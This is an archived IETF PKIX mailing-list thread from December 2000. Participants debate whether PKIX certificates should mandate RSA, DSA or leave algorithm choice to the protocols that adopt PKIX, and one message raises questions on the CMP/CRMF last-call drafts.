List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

At 5:04 PM -0500 12/21/00, Tim Polk wrote:
>If PKIX decides to specify MUSTs or SHOULDs, they should be designed 
>to support broad interoperability.

Exactly. It is easier to get interoperability with one algorithm than 
with two, particularly when one of those algorithms hasn't been 
widely implemented and tested in products.

>Interoperability is a prime concern here at NIST.  In terms of 
>algorithm independence, we have come to the conclusion that 
>interoperability *requires* multi-algorithm clients.

Could you explain the logic there a bit more? If only one algorithm 
is mandated, how does that leasd to less interoperability?

>This implies that we need to move the burden to the clients, even 
>though that will impact many clients.

Here we disagree. Do you *really* think that all the IPsec 
implementations and all the S/MIME implementations are going to add 
DSA support? That is certainly not what I hear from the members of my 
organizations; even the ones who do DSA support are not sure that it 
works that well because it is rarely tested.

>   If a PKIX client can validate both DSA and RSA signatures, it can 
>handle certificates from any CA when signed with a PKIX-specified 
>algorithm.

If we only mandate RSA, well, you can fill in the rest...

>The question is whether multiple algorithm support is a practical 
>requirement for clients.  I just took a few minutes to scan the FIPS 
>140-1 validated crypto module list.  This list currently has 130 
>modules - some hardware, some software.  (For those interested, see 
>http://csrc.nist.gov/cryptval/140-1/1401val.htm)  Many of those 
>cryptographic modules already support multiple signature algorithms. 
>I didn't count, but it appears that most of the recent products 
>(both hardware and software) support both DSA and RSA for signatures.
>
>To me, this implies that multiple algorithm support is reasonable 
>unless the device footprint must be very small.  This may be a 
>biased data set, though.  Validated products are required to support 
>at least one FIPS-approved algorithm, and RSA has only recently 
>become a FIPS-approved algorithm.

Bingo: that obviously skewed the requirements. In the IPsec and 
S/MIME space, there was no such requirement (that is, S/MIME vendors 
simply ignore the v3 specs), and there are almost no commercial or 
even freeware implementations using DSA.

--Paul Hoffman, Director
--VPN Consortium


From owner-ietf-pkix@imc.org  Thu Dec 21 19:30:57 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA05499
	for <pkix-archive@odin.ietf.org>; Thu, 21 Dec 2000 19:30:56 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id QAA01364;
	Thu, 21 Dec 2000 16:27:32 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 21 Dec 2000 16:27:29 -0800
Received: from home.x509.com (home.x509.com [199.175.150.4])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id QAA01331
	for <ietf-pkix@imc.org>; Thu, 21 Dec 2000 16:27:28 -0800 (PST)
Received: from xcert.com (trinity.rnd.x509.com [10.8.34.28])
	by home.x509.com (8.11.0/XCERT) with ESMTP id eBM0Upk35303
	for <ietf-pkix@imc.org>; Thu, 21 Dec 2000 16:30:51 -0800 (PST)
Sender: marcnarc@xcert.com
Message-ID: <3A42A01F.A8B1EE7A@xcert.com>
Date: Thu, 21 Dec 2000 16:28:15 -0800
From: Marc Branchaud <marcnarc@xcert.com>
Organization: Xcert International Inc.
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.18 i686)
X-Accept-Language: en, fr
MIME-Version: 1.0
To: ietf-pkix@imc.org
Subject: Re: Required Algorithms for Certificates
References: <4.2.0.58.20001221162051.01e8f580@email.nist.gov>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit


Tim Polk wrote:
> 
> Folks,
> 
> Since different algorithms are a natural fit for different applications,
> the selection of a single MUST algorithm for PKIX seems a bad idea.  That
> is the reason Jeff Schiller let us avoid this issue in the first place.  If
> S/MIME chooses RSA but IPsec chooses DSA and D-H, we would be in conflict
> with at least one of them.  PKIX should not be in the position of dictating
> algorithms to other working groups.

There's the rub.  PKIX can't choose a (set of) algorithm(s) because PKIX is
so broadly applicable that any choice would shut out a particular community. 
It looks like algorithm choice is really up to the application.

That would be fine, but there seems to be an expectation that there is only
one certificate for a given entity, and that an entity is expected to use its
one certificate for all its applications.

Those two positions are irreconcilable.  Either a user has one cert for
S/MIME, SSL, IPSec, etc. (in which case all those applications will have to
use the same algorithm) or the user has multiple certs.  You can't have it
both ways.

I suggest that the expectation of a single "omnicert" is turning out to be
naive.  Already with existing deployments, users have different certs for
their different applications.  Even users of integrated applications (say, a
browser & S/MIME app) tend to have distinct certs for each protocol.

> If PKIX decides to specify MUSTs or SHOULDs, they should be designed to
> support broad interoperability.

Yes, but what kind of interoperability?  Does an S/MIME cert have to be
interoperable with an SSL cert?  Put another way, will an S/MIME application
ever need to use or process an SSL or IPSec cert?  I say no.  If you accept
that, then interoperability across all protocols becomes meaningless.

So it makes sense for the algorithm decision to be in the hands of the
protocols that adopt PKIX.  In fact, the "users" of PKIX are really other
IETF protocols.  Therefore, I suggest that PKIX have only one MUST with
respect to algorithms:

   Protocols that adopt PKIX SHALL require their applications to implement
   one of the PKIX-compliant algorithms described in [RFCx], [RFCy] and
[RFCz].
   PKIX implementors SHOULD implement the algorithm(s) required by the
   protocol(s) which their PKIX implementation will support.

This is a kind of meta-requirement for using PKIX, and I don't know if IETF
rules allow for that sort of thing.  But I do think it's a reasonable way
forward, because other protocols are then free to make the best choices for
themselves.  S/MIME, for example, could say "implementations SHALL use
[PKIX1] certificates that contain an RSA public key and that are signed using
RSASHA1."  IPSec could make similar requirements for, say, DSA & DH.  As long
as nobody tries to use their S/MIME cert for their VPN, things will work.

One final note: People who want to build generic PKIX toolkits are likely
going to need to implement all the PKIX-compliant algorithms.  This is pretty
much a given anyway (look at the existing toolkits).  What's really at issue
are application developers who aren't using a general PKIX toolkit.

		Marc

+------------------------------------------------------------------------+
 Marc Branchaud                                  \/
 Chief PKI Architect                             /\CERT INTERNATIONAL INC.
 marcnarc@xcert.com        PKI References page:              www.xcert.com
 604-640-6227          www.xcert.com/~marcnarc/PKI/
+------------------------------------------------------------------------+


From owner-ietf-pkix@imc.org  Fri Dec 22 09:01:18 2000
Received: from ns.secondary.com (ns.secondary2.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA02178
	for <pkix-archive@odin.ietf.org>; Fri, 22 Dec 2000 09:01:17 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id FAA21657;
	Fri, 22 Dec 2000 05:57:41 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 22 Dec 2000 05:57:10 -0800
Received: from karon.dynas.se (karon.dynas.se [192.71.43.4])
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id FAA21592
	for <ietf-pkix@imc.org>; Fri, 22 Dec 2000 05:57:08 -0800 (PST)
Received: (qmail 90815 invoked from network); 22 Dec 2000 14:00:34 -0000
Received: from spirit.sto.dynas.se (HELO spirit.dynas.se) (172.16.1.10)
  by karon.sto.dynas.se with SMTP; 22 Dec 2000 14:00:34 -0000
Received: (qmail 27671 invoked from network); 22 Dec 2000 14:00:33 -0000
Received: from dhcp28.ua.dynas.se (10.131.2.178)
  by spirit.dynas.se with SMTP; 22 Dec 2000 14:00:33 -0000
Date: Fri, 22 Dec 2000 15:01:22 +0100 (W. Europe Standard Time)
From: Magnus Nystrom <magnus@rsasecurity.com>
To: ietf-pkix@imc.org
cc: "Richards, Gareth" <GRichards@rsasecurity.com>
Subject: Re: WG Last Call, RFC 2510bis
In-Reply-To: <4.2.0.58.20010119094641.01f15320@email.nist.gov>
Message-ID: <Pine.WNT.4.10.10012221457300.-855923@mnystrom-lap.ua.dynas.se>
X-X-Sender: magnus@[172.16.1.10]
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

Dear CMP and CRMF editors,

In response to the last-call on rfc2510bis and rfc2511bis, we do have a
couple of related questions. While answers to these may exist in the
documents we have not been able to find them.

a) What is a CMP client which receives a PKIMessage response with a
PKIStatus of "waiting" supposed to do? A procedure for CMP using TCP
as transport seems to be to use the pollRep/pollReq pair, but it
seems as if polling should be part of CMP rather than dependent on
its transport?

b) In ir, cr and kur message types, the CertReqMessages SEQUENCE
has the following restrictions (see Appendix B4 and rfc2510bis-02):

1. The SEQUENCE can contain one or two CertReqMsg structures.
2. The first request MUST contain a public key in the certTemplate.
3. The second request if present MUST NOT contain the public key
   bits in the certTemplate

This therefore restricts server side key generation to situations where
two certification requests are being made.  This seems overly restrictive
especially in the kur/kup situation where an end-entity would generally
only update one key pair.

It is not clear why the two CertReqMsg structures are restricted in
this way. We therefore propose that restrictions 2 and 3 above are
removed and that the two requests are treated equivalently.

c) Related to b), when a CMP client chooses not to include a public
key in a certTemplate, how shall it inform the RA/CA of the
particular algorithm it wishes the CA to generate a key for? And
parameters - e.g. "Please generate a 1024 bit RSA key with F4 as
public exponent".

Any clarifications or comments would be most welcome.

Thanks,
-- Magnus Nystrom & Gareth Richards,
RSA Security



From owner-ietf-pkix@imc.org  Fri Dec 22 10:26:08 2000
Received: from ns.secondary.com (ns.secondary2.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA05426
	for <pkix-archive@odin.ietf.org>; Fri, 22 Dec 2000 10:26:08 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id HAA25776;
	Fri, 22 Dec 2000 07:22:28 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 22 Dec 2000 07:22:11 -0800
Received: from ext-mail.valicert.com (ns1.valicert.com [63.65.221.10])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA25670
	for <ietf-pkix@imc.org>; Fri, 22 Dec 2000 07:22:10 -0800 (PST)
Received: from CONVERSION-DAEMON by ext-mail.valicert.com (PMDF V5.2-33 #46613)
 id <0G5Z00A016UPRA@ext-mail.valicert.com> for ietf-pkix@imc.org; Fri,
 22 Dec 2000 07:25:37 -0800 (PST)
Received: from polaris.valicert.com ([192.168.2.34])
 by ext-mail.valicert.com (PMDF V5.2-33 #46613)
 with ESMTP id <0G5Z00AH26UO00@ext-mail.valicert.com>; Fri,
 22 Dec 2000 07:25:37 -0800 (PST)
Received: by exchange.valicert.com with Internet Mail Service (5.5.2650.21)
 id <ZLX2SFPN>; Fri, 22 Dec 2000 07:22:17 -0800
Content-return: allowed
Date: Fri, 22 Dec 2000 07:22:16 -0800
From: Frank Balluffi <frankb@valicert.com>
Subject: RE: Required Algorithms for Certificates
To: "'Marc Branchaud'" <marcnarc@xcert.com>, ietf-pkix@imc.org
Message-id: <613B3C619C9AD4118C4E00B0D03E7C3E771747@exchange.valicert.com>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-type: text/plain;	charset="iso-8859-1"
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

Marc Branchaud said:

> I suggest that the expectation of a single "omnicert" is 
> turning out to be
> naive.

It seems to me that the REAL issue is whether we want a PKI which anyone can
dynamically plug into or a PKi (note the small i) which only pre-arranged
groups can plug into. I would prefer the former. My sense is that MUST RSA
has a better chance of satisfying the former for the following reasons:

1. one algorithm minimizes the number of algorithm combinations
2. RSA can be used for both signing and encryption
3. RSA already has more critical mass than DSA
4. one algorithm minimizes the system resource usage on small footprint
devices
5. RSA is in the public domain

Also, I do not see a problem with changing MUST DSA to {SHALL | MAY} DSA as
long as a it is scheduled with reasonable warning. There was a good reason
for mandating DSA and that reason has changed.

To reiterate, the question remains, "What the heck are we trying to
accomplish here?"

Frank

> -----Original Message-----
> From: Marc Branchaud [mailto:marcnarc@xcert.com]
> Sent: Thursday, December 21, 2000 7:28 PM
> To: ietf-pkix@imc.org
> Subject: Re: Required Algorithms for Certificates
> 
> 
> 
> Tim Polk wrote:
> > 
> > Folks,
> > 
> > Since different algorithms are a natural fit for different 
> applications,
> > the selection of a single MUST algorithm for PKIX seems a 
> bad idea.  That
> > is the reason Jeff Schiller let us avoid this issue in the 
> first place.  If
> > S/MIME chooses RSA but IPsec chooses DSA and D-H, we would 
> be in conflict
> > with at least one of them.  PKIX should not be in the 
> position of dictating
> > algorithms to other working groups.
> 
> There's the rub.  PKIX can't choose a (set of) algorithm(s) 
> because PKIX is
> so broadly applicable that any choice would shut out a 
> particular community. 
> It looks like algorithm choice is really up to the application.
> 
> That would be fine, but there seems to be an expectation that 
> there is only
> one certificate for a given entity, and that an entity is 
> expected to use its
> one certificate for all its applications.
> 
> Those two positions are irreconcilable.  Either a user has 
> one cert for
> S/MIME, SSL, IPSec, etc. (in which case all those 
> applications will have to
> use the same algorithm) or the user has multiple certs.  You 
> can't have it
> both ways.
> 
> I suggest that the expectation of a single "omnicert" is 
> turning out to be
> naive.  Already with existing deployments, users have 
> different certs for
> their different applications.  Even users of integrated 
> applications (say, a
> browser & S/MIME app) tend to have distinct certs for each protocol.
> 
> > If PKIX decides to specify MUSTs or SHOULDs, they should be 
> designed to
> > support broad interoperability.
> 
> Yes, but what kind of interoperability?  Does an S/MIME cert 
> have to be
> interoperable with an SSL cert?  Put another way, will an 
> S/MIME application
> ever need to use or process an SSL or IPSec cert?  I say no.  
> If you accept
> that, then interoperability across all protocols becomes meaningless.
> 
> So it makes sense for the algorithm decision to be in the hands of the
> protocols that adopt PKIX.  In fact, the "users" of PKIX are 
> really other
> IETF protocols.  Therefore, I suggest that PKIX have only one 
> MUST with
> respect to algorithms:
> 
>    Protocols that adopt PKIX SHALL require their applications 
> to implement
>    one of the PKIX-compliant algorithms described in [RFCx], 
> [RFCy] and
> [RFCz].
>    PKIX implementors SHOULD implement the algorithm(s) required by the
>    protocol(s) which their PKIX implementation will support.
> 
> This is a kind of meta-requirement for using PKIX, and I 
> don't know if IETF
> rules allow for that sort of thing.  But I do think it's a 
> reasonable way
> forward, because other protocols are then free to make the 
> best choices for
> themselves.  S/MIME, for example, could say "implementations SHALL use
> [PKIX1] certificates that contain an RSA public key and that 
> are signed using
> RSASHA1."  IPSec could make similar requirements for, say, 
> DSA & DH.  As long
> as nobody tries to use their S/MIME cert for their VPN, 
> things will work.
> 
> One final note: People who want to build generic PKIX 
> toolkits are likely
> going to need to implement all the PKIX-compliant algorithms. 
>  This is pretty
> much a given anyway (look at the existing toolkits).  What's 
> really at issue
> are application developers who aren't using a general PKIX toolkit.
> 
> 		Marc
> 
> +-------------------------------------------------------------
> -----------+
>  Marc Branchaud                                  \/
>  Chief PKI Architect                             /\CERT 
> INTERNATIONAL INC.
>  marcnarc@xcert.com        PKI References page:              
www.xcert.com
 604-640-6227          www.xcert.com/~marcnarc/PKI/
+------------------------------------------------------------------------+


From owner-ietf-pkix@imc.org  Fri Dec 22 11:05:58 2000
Received: from ns.secondary.com (ns.secondary2.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA06274
	for <pkix-archive@odin.ietf.org>; Fri, 22 Dec 2000 11:05:58 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id IAA00775;
	Fri, 22 Dec 2000 08:02:27 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 22 Dec 2000 08:01:03 -0800
Received: from monet.digsigtrust.com (mail.digsigtrust.com [208.30.69.30])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA00690
	for <ietf-pkix@imc.org>; Fri, 22 Dec 2000 08:01:02 -0800 (PST)
Received: from CC474623A (cc474623-a.abdn1.md.home.com [24.18.83.123])
	by monet.digsigtrust.com (8.10.2/8.10.2) with SMTP id eBMG4QY14296;
	Fri, 22 Dec 2000 09:04:26 -0700 (MST)
Reply-To: <yuriy@digsigtrust.com>
From: "Yuriy Dzambasow" <yuriy@digsigtrust.com>
To: "Frank Balluffi" <frankb@valicert.com>,
        "'Marc Branchaud'" <marcnarc@xcert.com>, <ietf-pkix@imc.org>
Subject: RE: Required Algorithms for Certificates
Date: Fri, 22 Dec 2000 11:03:05 -0500
Message-ID: <KFEOIGHGAGJEKFAJLKDJMEIBCGAA.yuriy@digsigtrust.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Importance: Normal
In-Reply-To: <613B3C619C9AD4118C4E00B0D03E7C3E771747@exchange.valicert.com>
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit

The reality is, in my opinion, that there will be PKIs (BIG I's) and PKis
(Little i's), both of which wanting to claim PKIX compliance.  To achieve
that, I think there are two options, both of which I can support:

1) Mandate a single algorithm on clients and CAs (RSA with SHA-1), and state
the others are MAY implements
2) Do not specify anything in son-of-2459 with respect to required
algorithms, but rather provide text that encourages CAs to implement support
for algorithms based on applications that the CA needs to support, and
further, have groups like S/MIME, TLS, and IPSEC define the required
algorithms.

Yuriy

-----Original Message-----
From: Frank Balluffi [mailto:frankb@valicert.com]
Sent: Friday, December 22, 2000 10:22 AM
To: 'Marc Branchaud'; ietf-pkix@imc.org
Subject: RE: Required Algorithms for Certificates

Marc Branchaud said:

> I suggest that the expectation of a single "omnicert" is
> turning out to be
> naive.

It seems to me that the REAL issue is whether we want a PKI which anyone can
dynamically plug into or a PKi (note the small i) which only pre-arranged
groups can plug into. I would prefer the former. My sense is that MUST RSA
has a better chance of satisfying the former for the following reasons:

1. one algorithm minimizes the number of algorithm combinations
2. RSA can be used for both signing and encryption
3. RSA already has more critical mass than DSA
4. one algorithm minimizes the system resource usage on small footprint
devices
5. RSA is in the public domain

Also, I do not see a problem with changing MUST DSA to {SHALL | MAY} DSA as
long as a it is scheduled with reasonable warning. There was a good reason
for mandating DSA and that reason has changed.

To reiterate, the question remains, "What the heck are we trying to
accomplish here?"

Frank

> -----Original Message-----
> From: Marc Branchaud [mailto:marcnarc@xcert.com]
> Sent: Thursday, December 21, 2000 7:28 PM
> To: ietf-pkix@imc.org
> Subject: Re: Required Algorithms for Certificates
>
>
>
> Tim Polk wrote:
> >
> > Folks,
> >
> > Since different algorithms are a natural fit for different
> applications,
> > the selection of a single MUST algorithm for PKIX seems a
> bad idea.  That
> > is the reason Jeff Schiller let us avoid this issue in the
> first place.  If
> > S/MIME chooses RSA but IPsec chooses DSA and D-H, we would
> be in conflict
> > with at least one of them.  PKIX should not be in the
> position of dictating
> > algorithms to other working groups.
>
> There's the rub.  PKIX can't choose a (set of) algorithm(s)
> because PKIX is
> so broadly applicable that any choice would shut out a
> particular community.
> It looks like algorithm choice is really up to the application.
>
> That would be fine, but there seems to be an expectation that
> there is only
> one certificate for a given entity, and that an entity is
> expected to use its
> one certificate for all its applications.
>
> Those two positions are irreconcilable.  Either a user has
> one cert for
> S/MIME, SSL, IPSec, etc. (in which case all those
> applications will have to
> use the same algorithm) or the user has multiple certs.  You
> can't have it
> both ways.
>
> I suggest that the expectation of a single "omnicert" is
> turning out to be
> naive.  Already with existing deployments, users have
> different certs for
> their different applications.  Even users of integrated
> applications (say, a
> browser & S/MIME app) tend to have distinct certs for each protocol.
>
> > If PKIX decides to specify MUSTs or SHOULDs, they should be
> designed to
> > support broad interoperability.
>
> Yes, but what kind of interoperability?  Does an S/MIME cert
> have to be
> interoperable with an SSL cert?  Put another way, will an
> S/MIME application
> ever need to use or process an SSL or IPSec cert?  I say no.
> If you accept
> that, then interoperability across all protocols becomes meaningless.
>
> So it makes sense for the algorithm decision to be in the hands of the
> protocols that adopt PKIX.  In fact, the "users" of PKIX are
> really other
> IETF protocols.  Therefore, I suggest that PKIX have only one
> MUST with
> respect to algorithms:
>
>    Protocols that adopt PKIX SHALL require their applications
> to implement
>    one of the PKIX-compliant algorithms described in [RFCx],
> [RFCy] and
> [RFCz].
>    PKIX implementors SHOULD implement the algorithm(s) required by the
>    protocol(s) which their PKIX implementation will support.
>
> This is a kind of meta-requirement for using PKIX, and I
> don't know if IETF
> rules allow for that sort of thing.  But I do think it's a
> reasonable way
> forward, because other protocols are then free to make the
> best choices for
> themselves.  S/MIME, for example, could say "implementations SHALL use
> [PKIX1] certificates that contain an RSA public key and that
> are signed using
> RSASHA1."  IPSec could make similar requirements for, say,
> DSA & DH.  As long
> as nobody tries to use their S/MIME cert for their VPN,
> things will work.
>
> One final note: People who want to build generic PKIX
> toolkits are likely
> going to need to implement all the PKIX-compliant algorithms.
>  This is pretty
> much a given anyway (look at the existing toolkits).  What's
> really at issue
> are application developers who aren't using a general PKIX toolkit.
>
>               Marc
>
> +-------------------------------------------------------------
> -----------+
>  Marc Branchaud                                  \/
>  Chief PKI Architect                             /\CERT
> INTERNATIONAL INC.
>  marcnarc@xcert.com        PKI References page:
www.xcert.com
 604-640-6227          www.xcert.com/~marcnarc/PKI/
+------------------------------------------------------------------------+



From owner-ietf-pkix@imc.org  Fri Dec 22 11:15:05 2000
Received: from ns.secondary.com (ns.secondary2.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA06419
	for <pkix-archive@odin.ietf.org>; Fri, 22 Dec 2000 11:15:04 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id IAA01403;
	Fri, 22 Dec 2000 08:11:32 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 22 Dec 2000 08:11:28 -0800
Received: from ext-mail.valicert.com (ns1.valicert.com [63.65.221.10])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA01367
	for <ietf-pkix@imc.org>; Fri, 22 Dec 2000 08:11:26 -0800 (PST)
Received: from CONVERSION-DAEMON by ext-mail.valicert.com (PMDF V5.2-33 #46613)
 id <0G5Z00A0194SWI@ext-mail.valicert.com> for ietf-pkix@imc.org; Fri,
 22 Dec 2000 08:14:52 -0800 (PST)
Received: from polaris.valicert.com ([192.168.2.34])
 by ext-mail.valicert.com (PMDF V5.2-33 #46613)
 with ESMTP id <0G5Z00AL394S00@ext-mail.valicert.com>; Fri,
 22 Dec 2000 08:14:52 -0800 (PST)
Received: by exchange.valicert.com with Internet Mail Service (5.5.2650.21)
 id <ZLX2SFSW>; Fri, 22 Dec 2000 08:11:32 -0800
Content-return: allowed
Date: Fri, 22 Dec 2000 08:11:31 -0800
From: Frank Balluffi <frankb@valicert.com>
Subject: RE: Required Algorithms for Certificates
To: "'yuriy@digsigtrust.com'" <yuriy@digsigtrust.com>,
        Frank Balluffi <frankb@valicert.com>,
        "'Marc Branchaud'" <marcnarc@xcert.com>, ietf-pkix@imc.org
Message-id: <613B3C619C9AD4118C4E00B0D03E7C3E771749@exchange.valicert.com>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-type: text/plain;	charset="iso-8859-1"
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

Many PKis (little i) does not necessarily equal a PKI (big I). A PKI (big I)
does, however, enable PKis (little i). So I am still not convinced that our
current path will result in a PKI (big I). Please excuse the wordiness.

Frank

> -----Original Message-----
> From: Yuriy Dzambasow [mailto:yuriy@digsigtrust.com]
> Sent: Friday, December 22, 2000 11:03 AM
> To: Frank Balluffi; 'Marc Branchaud'; ietf-pkix@imc.org
> Subject: RE: Required Algorithms for Certificates
> 
> 
> The reality is, in my opinion, that there will be PKIs (BIG 
> I's) and PKis
> (Little i's), both of which wanting to claim PKIX compliance. 
>  To achieve
> that, I think there are two options, both of which I can support:
> 
> 1) Mandate a single algorithm on clients and CAs (RSA with 
> SHA-1), and state
> the others are MAY implements
> 2) Do not specify anything in son-of-2459 with respect to required
> algorithms, but rather provide text that encourages CAs to 
> implement support
> for algorithms based on applications that the CA needs to support, and
> further, have groups like S/MIME, TLS, and IPSEC define the required
> algorithms.
> 
> Yuriy
> 
> -----Original Message-----
> From: Frank Balluffi [mailto:frankb@valicert.com]
> Sent: Friday, December 22, 2000 10:22 AM
> To: 'Marc Branchaud'; ietf-pkix@imc.org
> Subject: RE: Required Algorithms for Certificates
> 
> Marc Branchaud said:
> 
> > I suggest that the expectation of a single "omnicert" is
> > turning out to be
> > naive.
> 
> It seems to me that the REAL issue is whether we want a PKI 
> which anyone can
> dynamically plug into or a PKi (note the small i) which only 
> pre-arranged
> groups can plug into. I would prefer the former. My sense is 
> that MUST RSA
> has a better chance of satisfying the former for the 
> following reasons:
> 
> 1. one algorithm minimizes the number of algorithm combinations
> 2. RSA can be used for both signing and encryption
> 3. RSA already has more critical mass than DSA
> 4. one algorithm minimizes the system resource usage on small 
> footprint
> devices
> 5. RSA is in the public domain
> 
> Also, I do not see a problem with changing MUST DSA to {SHALL 
> | MAY} DSA as
> long as a it is scheduled with reasonable warning. There was 
> a good reason
> for mandating DSA and that reason has changed.
> 
> To reiterate, the question remains, "What the heck are we trying to
> accomplish here?"
> 
> Frank
> 
> > -----Original Message-----
> > From: Marc Branchaud [mailto:marcnarc@xcert.com]
> > Sent: Thursday, December 21, 2000 7:28 PM
> > To: ietf-pkix@imc.org
> > Subject: Re: Required Algorithms for Certificates
> >
> >
> >
> > Tim Polk wrote:
> > >
> > > Folks,
> > >
> > > Since different algorithms are a natural fit for different
> > applications,
> > > the selection of a single MUST algorithm for PKIX seems a
> > bad idea.  That
> > > is the reason Jeff Schiller let us avoid this issue in the
> > first place.  If
> > > S/MIME chooses RSA but IPsec chooses DSA and D-H, we would
> > be in conflict
> > > with at least one of them.  PKIX should not be in the
> > position of dictating
> > > algorithms to other working groups.
> >
> > There's the rub.  PKIX can't choose a (set of) algorithm(s)
> > because PKIX is
> > so broadly applicable that any choice would shut out a
> > particular community.
> > It looks like algorithm choice is really up to the application.
> >
> > That would be fine, but there seems to be an expectation that
> > there is only
> > one certificate for a given entity, and that an entity is
> > expected to use its
> > one certificate for all its applications.
> >
> > Those two positions are irreconcilable.  Either a user has
> > one cert for
> > S/MIME, SSL, IPSec, etc. (in which case all those
> > applications will have to
> > use the same algorithm) or the user has multiple certs.  You
> > can't have it
> > both ways.
> >
> > I suggest that the expectation of a single "omnicert" is
> > turning out to be
> > naive.  Already with existing deployments, users have
> > different certs for
> > their different applications.  Even users of integrated
> > applications (say, a
> > browser & S/MIME app) tend to have distinct certs for each protocol.
> >
> > > If PKIX decides to specify MUSTs or SHOULDs, they should be
> > designed to
> > > support broad interoperability.
> >
> > Yes, but what kind of interoperability?  Does an S/MIME cert
> > have to be
> > interoperable with an SSL cert?  Put another way, will an
> > S/MIME application
> > ever need to use or process an SSL or IPSec cert?  I say no.
> > If you accept
> > that, then interoperability across all protocols becomes 
> meaningless.
> >
> > So it makes sense for the algorithm decision to be in the 
> hands of the
> > protocols that adopt PKIX.  In fact, the "users" of PKIX are
> > really other
> > IETF protocols.  Therefore, I suggest that PKIX have only one
> > MUST with
> > respect to algorithms:
> >
> >    Protocols that adopt PKIX SHALL require their applications
> > to implement
> >    one of the PKIX-compliant algorithms described in [RFCx],
> > [RFCy] and
> > [RFCz].
> >    PKIX implementors SHOULD implement the algorithm(s) 
> required by the
> >    protocol(s) which their PKIX implementation will support.
> >
> > This is a kind of meta-requirement for using PKIX, and I
> > don't know if IETF
> > rules allow for that sort of thing.  But I do think it's a
> > reasonable way
> > forward, because other protocols are then free to make the
> > best choices for
> > themselves.  S/MIME, for example, could say 
> "implementations SHALL use
> > [PKIX1] certificates that contain an RSA public key and that
> > are signed using
> > RSASHA1."  IPSec could make similar requirements for, say,
> > DSA & DH.  As long
> > as nobody tries to use their S/MIME cert for their VPN,
> > things will work.
> >
> > One final note: People who want to build generic PKIX
> > toolkits are likely
> > going to need to implement all the PKIX-compliant algorithms.
> >  This is pretty
> > much a given anyway (look at the existing toolkits).  What's
> > really at issue
> > are application developers who aren't using a general PKIX toolkit.
> >
> >               Marc
> >
> > +-------------------------------------------------------------
> > -----------+
> >  Marc Branchaud                                  \/
> >  Chief PKI Architect                             /\CERT
> > INTERNATIONAL INC.
> >  marcnarc@xcert.com        PKI References page:
> www.xcert.com
>  604-640-6227          www.xcert.com/~marcnarc/PKI/
> +-------------------------------------------------------------
> -----------+
> 


From owner-ietf-pkix@imc.org  Fri Dec 22 12:06:19 2000
Received: from ns.secondary.com (ns.secondary2.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA07284
	for <pkix-archive@odin.ietf.org>; Fri, 22 Dec 2000 12:06:18 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id JAA05650;
	Fri, 22 Dec 2000 09:02:45 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 22 Dec 2000 09:02:36 -0800
Received: from exchange.cylink.com ([192.43.161.25])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA05612
	for <ietf-pkix@imc.org>; Fri, 22 Dec 2000 09:02:35 -0800 (PST)
Received: by exchange.cylink.com with Internet Mail Service (5.5.2650.21)
	id <ZHCS6AKD>; Fri, 22 Dec 2000 08:58:26 -0800
